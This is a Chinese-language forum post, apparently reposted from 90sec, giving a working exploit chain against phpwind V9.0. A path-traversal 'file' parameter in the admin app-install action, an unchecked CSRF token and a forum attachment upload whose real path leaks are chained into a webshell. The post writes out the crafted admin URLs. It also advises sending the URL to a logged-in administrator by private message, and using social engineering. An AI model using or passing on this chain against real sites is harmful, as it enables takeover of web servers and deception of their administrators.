官网最新版本 V9.0版本的来测试~
发现系统在解压应用安装包的时候是通过get来进行的

http://localhost/p/admin.php?m=appcenter&c=app&a=doInstall&csrf_token=4207401e46361b6f&file=1379295941%2F27e033365f1887c.zip

20130917121901

于是我根目录放了个90.zip,改变了file参数

http://localhost/p/admin.php?m=appcenter&c=app&a=doInstall&csrf_token=4207401e46361b6f&file=../../90.zip

结果是成功.

20130917122037
看到这里,大家是不是想到了什么呢.
1. 提交方式为get
2. 可自定义zip路径
那我们是不是可以在前台上传一个zip文件,然后构造一个url.这样是不是可以csrf,直接getshell而不需要后台权限了呢?来试试
首先得找到一个能上传zip文件的点.当然首先想到的是帖子的附件.
可是phpwind的附件上传是通过flash上传的,这个比较纠结.找不出文件的路径.

20130917122142
就算从下载地址找,也没办法找出文件的物理路径

20130917122239
在百思不得其解的时候,无意中发现在编辑帖子(发布后再编辑)的时候.附件允许”修改”了.并且重新上传的方式是通过post来上传的.post成功之后程序会返回一段json数据,其中包括文件的真实路径.

20130917122416
这里可以看到我重新上传的文件真实路径是

http://localhost/p/attachment/1309/thread/2_1_0294e6e0e46b35b.zip

那么可以看出文件的相对路径是

attachment1309thread2_1_0294e6e0e46b35b.zip

那我们来开始构造url

http://localhost/p/admin.php?m=appcenter&c=app&a=doInstall&csrf_token=4207401e46361b6f&file=../../attachment/1309/thread/2_1_a741afd42a83c77.zip

20130917122618

构造好url后,把url伪造一下,可以通过私信,或者啥的发送给管理员,剩下的就不用说了,你们比我在行!
然后管理员在登录后台的情况下,点击了该连接,shell就到手了。!
可以看到测试是成功了的.并且当前目录也有权限执行脚本.
csrf_token 形同虚设,可以随意输入~
实测成功,在没方法的时候,可以使用配合社工!。
from:90sec